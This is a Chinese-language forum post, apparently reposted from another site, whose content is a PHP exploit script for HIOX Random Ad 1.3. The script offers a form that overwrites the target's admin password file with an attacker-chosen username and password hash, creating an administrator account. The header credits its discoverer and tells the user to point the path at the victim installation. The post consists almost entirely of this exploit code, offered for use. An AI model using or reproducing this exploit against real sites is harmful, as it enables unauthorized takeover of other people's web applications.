• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    HIOX Random Ad 1.3 Arbitrary Add Admin User Exploit

    发布者: 雪落无声 | 发布时间: 2025-6-28 22:53| 查看数: 114| 评论数: 0|帖子模式

    <?php
    @session_start();
    ?>
    <table align=center width=72% height=95% ><tr><td>
    <?php
    /*
    HIOX Random Ad 1.3 Arbitrary Add Admin User Vulnerability
    [~] Discoverd & exploited by Stack
    [~]Greeatz All Freaind
    [~]Special thnx to Str0ke
    [~] Name Script : HIOX Random Ad 1.3
    [~] Download : http://www.hscripts.com/scripts/php/downloads/HRA_1_3.zip
    You need to change http://localhost/path/ with the link of script it's very importenet
    */
    $creat = "true";
    $iswrite = $_POST['createe'];
    if($user=="" && $pass==""){
    if($iswrite == "creatuser")
    {
        $usname = $_POST['usernam'];
        $passwrd = md5($_POST['pword']);
        if($usname != "" && $passwrd != ""){
    $filee = "http://localhost/path/admin/passwo.php";
    $file1 = file($filee);
            $file = fopen($filee,'w');
            fwrite($file, "<?php \n");
            fwrite($file, "$");
            fwrite($file, "user=\"$usname\";\n");
            fwrite($file, "$");
            fwrite($file, "pass=\"$passwrd\";");
            fwrite($file, "\n?>");
            fclose($file);
        $creat = "false";
        echo "<div align=center style='color: green;'><b>New User Created
      <meta http-equiv=\"refresh\" content=\"2; url=http://localhost/path/admin/index.php\">
      <br>lease Wait You will be Redirected to Login Page
       </div>";
        }
        else{
            echo "<div align=center style='color: red;'><b>Enter correct Username or Password </div>";
        }
    }
    if($creat == "true"){
    ?>
    <table align=center valign=center bgcolor=000000 align=center cellpadding=0 style="border: 1px #000000 solid;">
    <tr width=400 height=20><td align=center bgcolor="000000"
    style="color: ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
    Create New User </td></tr>
         <tr width=400 height=20><td>
            <form name=setf method=POST action=<?php echo $PHP_SELF;?>>
            <table style="color:#ffffff; font-family: arial,verdana,san-serif; font-size:13px;">
            <tr><td>User Name</td><td><input class="ta" name="usernam"  type=text maxlength=20 >
                    </td></tr>
            <tr><td>assword</td><td><input class="ta" name="pword" maxlength=20 type=password></td></tr>
            <input name="createe" type=hidden value="creatuser"></td></tr>
            <tr><td></td><td><input type=submit value="create"></td></tr>
            </table>
    </form>
    </td></tr></table>
    <?php
    }
    }else{
    echo "<div align=center style='color: red;'><b>User Already Exist</div>";
    }
    ?>
    </td></tr></table>


    来源:https://www.jb51.net/hack/5736.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表